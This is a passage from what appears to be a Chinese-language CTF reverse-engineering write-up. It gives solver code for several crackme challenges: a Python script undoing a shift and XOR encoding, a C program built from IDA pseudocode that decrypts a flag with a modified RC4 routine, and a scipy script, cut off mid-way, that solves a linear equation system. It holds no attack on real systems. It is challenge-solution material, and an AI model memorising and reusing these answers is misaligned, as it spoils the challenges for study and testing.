class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">generate</span>(<span class="params">key, text</span>):</span><br><span class="line"> a = []</span><br><span class="line"> <span class="keyword">for</span> i, c <span class="keyword">in</span> <span class="built_in">enumerate</span>(text):</span><br><span class="line"> a.append(<span class="built_in">chr</span>((<span class="built_in">ord</span>(key[i % <span class="built_in">len</span>(key)]) ^ <span class="built_in">ord</span>(c)) % <span class="number">256</span>))</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>.join(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">process</span>(<span class="params">shift, text</span>):</span><br><span class="line"> a = []</span><br><span class="line"> <span class="keyword">for</span> c <span class="keyword">in</span> text:</span><br><span class="line"> <span class="keyword">if</span> c.isalpha():</span><br><span class="line"> a.append(<span class="built_in">chr</span>(<span class="built_in">ord</span>(c) + shift))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> a.append(c)</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>.join(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">case</span>(<span class="params">text</span>):</span><br><span class="line"> <span class="keyword">return</span> text.swapcase()</span><br><span class="line">ass = <span class="string">"Dk@]^}Q{jMe[QWxik"</span></span><br><span class="line">key = <span class="string">'114514'</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(-<span class="number">26</span>,<span class="number">26</span>):</span><br><span class="line"> sp = process(i, ass)</span><br><span class="line"> xo = <span class="keyword">case</span>(sp)</span><br><span class="line"> <span class="built_in">print</span>(generate(key, xo).encode())</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>输出内容中找到符合flag的字符串</p><p><img src="image-20241014154849675.png" alt="image-20241014154849675"></p><h3 id="动态调试">动态调试</h3><p>直接将IDA获取的伪代码复制过来解密即可</p><p>POC:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"><span class="type">const</span> <span class="type">char</span>* key = <span class="string">"ysyy_114514"</span>;</span><br><span class="line">__int64 __fastcall <span class="title function_">rc4_crypt</span><span class="params">(<span class="type">unsigned</span> __int8* a1, <span class="type">unsigned</span> __int8* a2, <span class="type">unsigned</span> <span class="type">int</span> a3)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">unsigned</span> __int8 v3; <span class="comment">// r12</span></span><br><span class="line"> <span class="type">unsigned</span> __int8 v4; <span class="comment">// di</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> v5; <span class="comment">// eax</span></span><br><span class="line"> <span class="type">unsigned</span> __int8 v7; <span class="comment">// [rsp+2Fh] [rbp-11h]</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [rsp+34h] [rbp-Ch]</span></span><br><span class="line"> <span class="type">int</span> v9; <span class="comment">// [rsp+38h] [rbp-8h]</span></span><br><span class="line"> <span class="type">int</span> v10; <span class="comment">// [rsp+3Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line"> v10 = <span class="number">0</span>;</span><br><span class="line"> v9 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < a3; ++i)</span><br><span class="line"> {</span><br><span class="line"> v10 = (v10 + <span class="number">1</span>) % <span class="number">256</span>;</span><br><span class="line"> v9 = (v9 + a1[v10]) % <span class="number">256</span>;</span><br><span class="line"> v7 = a1[v10];</span><br><span class="line"> a1[v10] = a1[v9];</span><br><span class="line"> a1[v9] = v7;</span><br><span class="line"> v3 = a2[i];</span><br><span class="line"> v4 = a1[(a1[v10] + a1[v9] + <span class="number">1</span>) % <span class="number">256</span>];</span><br><span class="line"> a2[i] = v3 ^ (v4 + key[i % <span class="built_in">strlen</span>(key)]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">char</span> v6[] =</span><br><span class="line"> {</span><br><span class="line"> <span class="number">0x43</span>, <span class="number">0xED</span>, <span class="number">0x29</span>, <span class="number">0x82</span>, <span class="number">0x47</span>, <span class="number">0x16</span>, <span class="number">0x1E</span>, <span class="number">0xF2</span>, <span class="number">0x2C</span>, <span class="number">0x1D</span>,</span><br><span class="line"> <span class="number">0x25</span>, <span class="number">0x28</span>, <span class="number">0xA7</span>, <span class="number">0xC7</span>, <span class="number">0xD4</span>, <span class="number">0x23</span>, <span class="number">0x18</span>, <span class="number">0xA5</span>, <span class="number">0xEB</span>, <span class="number">0x6D</span>,</span><br><span class="line"> <span class="number">0xAD</span>, <span class="number">0xC1</span>, <span class="number">0x13</span>, <span class="number">0x09</span>, <span class="number">0x6B</span>, <span class="number">0xE0</span>, <span class="number">0x76</span>, <span class="number">0x41</span>, <span class="number">0x22</span>, <span class="number">0x26</span>,</span><br><span class="line"> <span class="number">0xA3</span>, <span class="number">0xE4</span>, <span class="number">0x20</span>, <span class="number">0xF1</span>, <span class="number">0x73</span>, <span class="number">0x32</span>, <span class="number">0xAC</span>, <span class="number">0x69</span>, <span class="number">0x07</span>, <span class="number">0xD0</span>,</span><br><span class="line"> <span class="number">0xB3</span>, <span class="number">0x7C</span>, <span class="number">0xD7</span>, <span class="number">0x36</span>, <span class="number">0xB7</span>, <span class="number">0x37</span>, <span class="number">0xEA</span>, <span class="number">0x86</span>, <span class="number">0x2B</span>, <span class="number">0x5C</span>,</span><br><span class="line"> <span class="number">0x24</span>, <span class="number">0x50</span>, <span class="number">0x62</span>, <span class="number">0x3F</span>, <span class="number">0x5D</span>, <span class="number">0xCA</span>, <span class="number">0x52</span>, <span class="number">0x4C</span>, <span class="number">0x2E</span>, <span class="number">0x74</span>,</span><br><span class="line"> <span class="number">0x61</span>, <span class="number">0x80</span>, <span class="number">0x15</span>, <span class="number">0x31</span>, <span class="number">0x3D</span>, <span class="number">0x48</span>, <span class="number">0xD5</span>, <span class="number">0x8C</span>, <span class="number">0xB1</span>, <span class="number">0xEE</span>,</span><br><span class="line"> <span class="number">0x70</span>, <span class="number">0xC8</span>, <span class="number">0xC2</span>, <span class="number">0xBE</span>, <span class="number">0xA2</span>, <span class="number">0x9B</span>, <span class="number">0x6E</span>, <span class="number">0xFF</span>, <span class="number">0x35</span>, <span class="number">0x1A</span>,</span><br><span class="line"> <span class="number">0x4E</span>, <span class="number">0xB5</span>, <span class="number">0x8A</span>, <span class="number">0x05</span>, <span class="number">0xA4</span>, <span class="number">0x56</span>, <span class="number">0xCE</span>, <span class="number">0x2F</span>, <span class="number">0x67</span>, <span class="number">0x93</span>,</span><br><span class="line"> <span class="number">0xAB</span>, <span class="number">0x10</span>, <span class="number">0x0C</span>, <span class="number">0x44</span>, <span class="number">0xC5</span>, <span class="number">0xBF</span>, <span class="number">0x9C</span>, <span class="number">0xE7</span>, <span class="number">0xD2</span>, <span class="number">0x01</span>,</span><br><span class="line"> <span class="number">0x7E</span>, <span class="number">0x63</span>, <span class="number">0x92</span>, <span class="number">0x5F</span>, <span class="number">0x8B</span>, <span class="number">0x03</span>, <span class="number">0xC3</span>, <span class="number">0x65</span>, <span class="number">0x72</span>, <span class="number">0x33</span>,</span><br><span class="line"> <span class="number">0xFA</span>, <span class="number">0xB2</span>, <span class="number">0xD8</span>, <span class="number">0x5B</span>, <span class="number">0xE5</span>, <span class="number">0x0E</span>, <span class="number">0x12</span>, <span class="number">0xA9</span>, <span class="number">0x9D</span>, <span class="number">0x53</span>,</span><br><span class="line"> <span class="number">0xFB</span>, <span class="number">0x58</span>, <span class="number">0x19</span>, <span class="number">0x21</span>, <span class="number">0xF8</span>, <span class="number">0x83</span>, <span class="number">0xD9</span>, <span class="number">0xE6</span>, <span class="number">0x8E</span>, <span class="number">0xB8</span>,</span><br><span class="line"> <span class="number">0x1F</span>, <span class="number">0xBA</span>, <span class="number">0x08</span>, <span class="number">0x71</span>, <span class="number">0x3C</span>, <span class="number">0x85</span>, <span class="number">0x8F</span>, <span class="number">0x97</span>, <span class="number">0x04</span>, <span class="number">0x90</span>,</span><br><span class="line"> <span class="number">0x79</span>, <span class="number">0x49</span>, <span class="number">0x9A</span>, <span class="number">0x02</span>, <span class="number">0xDD</span>, <span class="number">0x95</span>, <span class="number">0xDA</span>, <span class="number">0x11</span>, <span class="number">0x84</span>, <span class="number">0x87</span>,</span><br><span class="line"> <span class="number">0xF0</span>, <span class="number">0xAE</span>, <span class="number">0x51</span>, <span class="number">0xE2</span>, <span class="number">0x4A</span>, <span class="number">0xB9</span>, <span class="number">0x7B</span>, <span class="number">0xC9</span>, <span class="number">0xA0</span>, <span class="number">0xCD</span>,</span><br><span class="line"> <span class="number">0x34</span>, <span class="number">0x9E</span>, <span class="number">0xC4</span>, <span class="number">0x0B</span>, <span class="number">0xA8</span>, <span class="number">0xCC</span>, <span class="number">0x2A</span>, <span class="number">0x0A</span>, <span class="number">0xFC</span>, <span class="number">0xF9</span>,</span><br><span class="line"> <span class="number">0xFE</span>, <span class="number">0x3A</span>, <span class="number">0x0D</span>, <span class="number">0x6A</span>, <span class="number">0x55</span>, <span class="number">0xF6</span>, <span class="number">0xE3</span>, <span class="number">0xBB</span>, <span class="number">0xDC</span>, <span class="number">0x8D</span>,</span><br><span class="line"> <span class="number">0xA1</span>, <span class="number">0x42</span>, <span class="number">0x6F</span>, <span class="number">0xCF</span>, <span class="number">0x7D</span>, <span class="number">0xC6</span>, <span class="number">0xF7</span>, <span class="number">0x99</span>, <span class="number">0x98</span>, <span class="number">0x78</span>,</span><br><span class="line"> <span class="number">0xB4</span>, <span class="number">0x3E</span>, <span class="number">0x89</span>, <span class="number">0x14</span>, <span class="number">0x06</span>, <span class="number">0xBD</span>, <span class="number">0x4F</span>, <span class="number">0x59</span>, <span class="number">0xD3</span>, <span class="number">0x2D</span>,</span><br><span class="line"> <span class="number">0x3B</span>, <span class="number">0xA6</span>, <span class="number">0x00</span>, <span class="number">0xE9</span>, <span class="number">0x0F</span>, <span class="number">0x68</span>, <span class="number">0xF4</span>, <span class="number">0x4D</span>, <span class="number">0x39</span>, <span class="number">0x7A</span>,</span><br><span class="line"> <span class="number">0x7F</span>, <span class="number">0xD1</span>, <span class="number">0x1B</span>, <span class="number">0xD6</span>, <span class="number">0xF5</span>, <span class="number">0x94</span>, <span class="number">0x5E</span>, <span class="number">0x40</span>, <span class="number">0x27</span>, <span class="number">0x30</span>,</span><br><span class="line"> <span class="number">0xAF</span>, <span class="number">0x9F</span>, <span class="number">0x17</span>, <span class="number">0xFD</span>, <span class="number">0x5A</span>, <span class="number">0x38</span>, <span class="number">0x54</span>, <span class="number">0x57</span>, <span class="number">0xE8</span>, <span class="number">0xEC</span>,</span><br><span class="line"> <span class="number">0x88</span>, <span class="number">0xF3</span>, <span class="number">0xDB</span>, <span class="number">0x6C</span>, <span class="number">0x45</span>, <span class="number">0x75</span>, <span class="number">0xC0</span>, <span class="number">0x96</span>, <span class="number">0xDE</span>, <span class="number">0x91</span>,</span><br><span class="line"> <span class="number">0x77</span>, <span class="number">0xAA</span>, <span class="number">0xEF</span>, <span class="number">0xE1</span>, <span class="number">0x81</span>, <span class="number">0xB6</span>, <span class="number">0x60</span>, <span class="number">0xBC</span>, <span class="number">0x46</span>, <span class="number">0xB0</span>,</span><br><span class="line"> <span class="number">0xDF</span>, <span class="number">0x4B</span>, <span class="number">0xCB</span>, <span class="number">0x64</span>, <span class="number">0x66</span>, <span class="number">0x1C</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span></span><br><span class="line"> };</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">char</span> v1[] =</span><br><span class="line"> {</span><br><span class="line"> <span class="number">0xCF</span>, <span class="number">0xA0</span>, <span class="number">0xC7</span>, <span class="number">0x24</span>, <span class="number">0x93</span>, <span class="number">0xEC</span>, <span class="number">0x51</span>, <span class="number">0xFB</span>, <span class="number">0x5E</span>, <span class="number">0xA5</span>,</span><br><span class="line"> <span class="number">0xEE</span>, <span class="number">0xC5</span>, <span class="number">0xE7</span>, <span class="number">0xEA</span>, <span class="number">0xBB</span>, <span class="number">0x4A</span>, <span class="number">0xE0</span>, <span class="number">0x6E</span>, <span class="number">0x16</span>, <span class="number">0x63</span>,</span><br><span class="line"> <span class="number">0xF0</span>, <span class="number">0x1A</span>, <span class="number">0x91</span>, <span class="number">0x04</span>, <span class="number">0xC1</span>, <span class="number">0x7E</span>, <span class="number">0x3F</span>, <span class="number">0x2B</span>, <span class="number">0x4F</span>, <span class="number">0x53</span>,</span><br><span class="line"> <span class="number">0xB0</span>, <span class="number">0x62</span>, <span class="number">0xA3</span>, <span class="number">0xA1</span>, <span class="number">0xCF</span>, <span class="number">0xC1</span>, <span class="number">0x73</span>, <span class="number">0x85</span>, <span class="number">0x5F</span>, <span class="number">0xEC</span>,</span><br><span class="line"> <span class="number">0x14</span>, <span class="number">0xD8</span>, <span class="number">0xD4</span>, <span class="number">0xE2</span></span><br><span class="line"> };</span><br><span class="line"> <span class="type">int</span> l = <span class="number">44</span>;</span><br><span class="line"> rc4_crypt(v6, (<span class="type">unsigned</span> <span class="type">char</span>*)v1, l);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>, v1);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>输出:</p><p><img src="image-20241014171011806.png" alt="image-20241014171011806"></p><h3 id="这来做点数学题吧">这来做点数学题吧</h3><p>解多元一次方程组</p><p><img src="image-20241015133237327.png" alt="image-20241015133237327"></p><p>payload</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> scipy.optimize <span class="keyword">import</span> fsolve</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_function</span>(<span class="params">unsolved_value</span>):</span><br><span class="line"> dword_40E0,dword_40E4,dword_40E8,dword_40EC,dword_40F0,dword_40F4,dword_40F8,dword_40FC,dword_4100,dword_4104,dword_4108,dword_410C,dword_4110,dword_4114,dword_4118,dword_411C,dword_4120,dword_4124,dword_4128,dword_412C,dword_4130 = unsolved_value[<span class="number">0</span>], unsolved_value[<span class="number">1</span>], unsolved_value[<span class="number">2</span>],unsolved_value[<span class="number">3</span>], unsolved_value[<span class="number">4</span>], unsolved_value[<span class="number">5</span>],unsolved_value[<span class="number">6</span>],unsolved_value[<span class="number">7</span>],unsolved_value[<span class="number">8</span>],unsolved_value[<span class="number">9</span>],unsolved_value[<span class="number">10</span>],unsolved_value[<span class="number">11</span>],unsolved_value[<span class="number">12</span>],unsolved_value[<span class="number">13</span>],unsolved_value[<span class="number">14</span>],unsolved_value[<span class="number">15</span>],unsolved_value[<span class="number">16</span>],unsolved_value[<span class="number">17</span>],unsolved_value[<span class="number">18</span>],unsolved_value[<span class="number">19</span>],unsolved_value[<span class="number">20</span>]</span><br><span class="line"> <span class="keyword">return</span> [</span><br><span class="line">dword_40E4 - <span class="number">83</span></span><br><span class="line"> , dword_40F0 + <span class="number">32</span> * dword_40EC + <span class="number">43</span> * dword_40E8 + <span class="number">81</span> * dword_40E0 + <span class="number">35</span> * dword_40F4 - <span class="number">14565</span></span><br><span class="line"> , <span class="number">23</span> * dword_40F0 + <span class="number">13</span> * dword_40F4 + <span class="number">78</span> * dword_40F8 - <span class="number">12436</span></span><br><span class="line"> , <span class="number">19</span> * dword_411C+ <span class="number">10</span> * dword_4118+ <span class="number">17</span> * dword_4114+ <span class="number">15</span> * dword_4110+ <span class="number">12</span> * dword_4108+ dword_4104 // <span class="number">4</span>+ dword_40FC+ <span class="number">32</span> * dword_40F8+ <span class="number">23</span> * dword_4100+ <span class="number">10</span> * dword_4120 - <span class="number">12539</span></span><br><span class="line"> , <span class="number">23</span> * dword_4130+ <span class="number">54</span> * dword_412C+ <span class="number">32</span> * dword_4128+ <span class="number">119</span> * dword_411C+ <span class="number">121</span> * dword_4118+ <span class="number">20</span> * dword_4114+ <span class="number">130</span> * dword_4120+ <span class="number">12</span> * dword_4124+ <span class="number">213</span> * dword_4108 - <span class="number">65168</span></span><br><span class="line"> , <span class="number">1412</span> * dword_4110+ <span class="number">139</span> * dword_4120+ <span class="number">199</span> * dword_40FC+ <span class="number">324</span> * dword_4118+ <span class="number">165</span> * dword_4110+ <span class="number">19</span> * dword_410C+ <span class="number">193</span> * dword_40F8+ <span class="number">144</span> * dword_40F4+ <span class="number">143</span> * dword_4130 - <span class="number">267159</span></span><br><span class="line"> , <span class="number">867</span> * dword_4114+ <span class="number">654</span> * dword_410C+ <span class="number">678</span> * dword_4104+ <span class="number">175</span> * dword_40FC+ <span class="number">45</span> * dword_40F4+ <span class="number">21</span> * dword_40E4+ <span class="number">13</span> * dword_40EC+ <span class="number">100</span> * dword_411C+ <span class="number">24</span> * dword_4124 - <span class="number">244923</span></span><br><span class="line"> , <span class="number">54</span> * dword_4110+ <span class="number">55</span> * dword_4130+ <span class="number">119</span> * dword_4124+ <span class="number">121</span> * dword_4120+ <span class="number">20</span> * dword_40EC+ <span class="number">130</span> * dword_4128+ <span class="number">12</span> * dword_412C+ <span class="number">213</span> * dword_4110 - <span class="number">69874</span></span><br><span class="line"> , dword_40FC - <span class="number">90</span></span><br><span class="line"> , dword_4130 - <span class="number">125</span></span><br><span class="line"> , <span class="number">233</span> * dword_4108+ <span class="number">134</span> * dword_40E8+ <span class="number">378</span> * dword_40F0+ <span class="number">133</span> * dword_4104+ <span class="number">178</span> * dword_40F8+ <span class="number">443</span> * dword_40F4+ <span class="number">11</span> * dword_40E4+ <span class="number">543</span> * dword_410C - <span class="number">188780</span></span><br><span class="line"> , <span class="number">194</span> * dword_4120+ <span class="number">643</span> * dword_411C+ <span class="number">131</span> * dword_4118+ <span class="number">131</span> * dword_4110+ <span class="number">21</span> * dword_4114+ <span class="number">204</span> * dword_4124+ <span class="number">24</span> * dword_4128+ <span class="number">214</span> * dword_412C - <span class="number">151642</span></span><br><span class="line"> , <span class="number">123</span> * dword_4128+ <span class="number">25</span> * dword_4120+ <span class="number">124</span> * dword_4114+ <span class="number">37</span> * dword_4118+ <span class="number">7457</span> * dword_411C+ <span class="number">129</span> * dword_4124+ <span class="number">164</span> * dword_412C+ <span class="number">10</span> * dword_4130 - <span class="number">772291</span></span><br><span class="line"> , <span class="number">132</span> * dword_4120+ <span class="number">807</span> * dword_411C+ <span class="number">756</span> * dword_4118+ <span class="number">163</span> * dword_4114+ <span class="number">633</span> * dword_4110+ <span class="number">423</span> * dword_410C+ <span class="number">42</span> * dword_4108+ <span class="number">534</span> * dword_4124 - <span class="number">346862</span></span><br><span class="line"> , <span class="number">867</span> * dword_4128+ <span class="number">5956</span> * dword_4114+ <span class="number">204</span> * dword_4110+ <span class="number">374</span> * dword_4108+ <span class="number">47</span> * dword_4104+ <span class="number">485</span> * dword_411C+ <span class="number">37</span> * dword_4120+ <span class="number">375</span> * dword_4130 - <span class="number">740703</span></span><br><span class="line"> , <span class="number">37</span> * dword_4110+ <span class="number">35</span> * dword_412C+ <span class="number">856</span> * dword_4128+ <span class="number">375</span> * dword_4124+ <span class="number">3578</span> * dword_4120+ <span class="number">567</span> * dword_40EC+ <span class="number">55</span> * dword_4130+ <span class="number">21</span> * dword_40F0 - <span class="number">436075</span></span><br><span class="line"> , <span class="number">59</span> * dword_40FC+ <span class="number">52</span> * dword_40E8+ <span class="number">102</span> * dword_40EC+ <span class="number">24</span> * dword_40F0+ <span class="number">204</span> * dword_40F4+ <span class="number">13</span> * dword_40F8+ <span class="number">54</span> * dword_4100+ <span class="number">13</span> * dword_4104 - <span class="number">38344</span></span><br><span class="line"> , <span class="number">98</span> * dword_40FC+ <span class="number">85</span> * dword_40F8+ <span class="number">13</span> * dword_40F0+ <span class="number">19</span> * dword_40EC+ <span class="number">12</span> * dword_40E4+ <span class="number">166</span> * dword_40E8+ <span class="number">25</span> * dword_40F4+ <span class="number">23</span> * dword_4100 - <span class="number">39337</span></span><br><span class="line"> , <span class="number">52</span> * dword_40E0 + <span class="number">45</span> * dword_40E4 + <span class="number">19</span> * dword_40FC + <span class="number">76</span> * dword_4130 + <span class="number">12</span> * dword_411C - <span class="number">20141</span></span><br><span class="line"> , <span class="number">56</span> * dword_40E4 + <span class="number">34</span> * dword_40E0 + <span class="number">75</span> * dword_40FC + <span class="number">80</span> * dword_4130 + <span class="number">16</span> * dword_411C + <span class="number">19</span> * dword_4110 - <span class="number">27375</span></span><br><span class="line"> , <span class="number">54</span> * dword_4110+ <span class="number">76</span> * dword_40FC+ <span class="number">87</span> * dword_40E4+ <span class="number">54</span> * dword_40E0+ <span class="number">16</span> * dword_4130+ <span class="number">18</span> * dword_411C+ <span class="number">39</span> * dword_4128 - <span class="number">31598</span></span><br><span class="line"> </span><br><span class="line"> 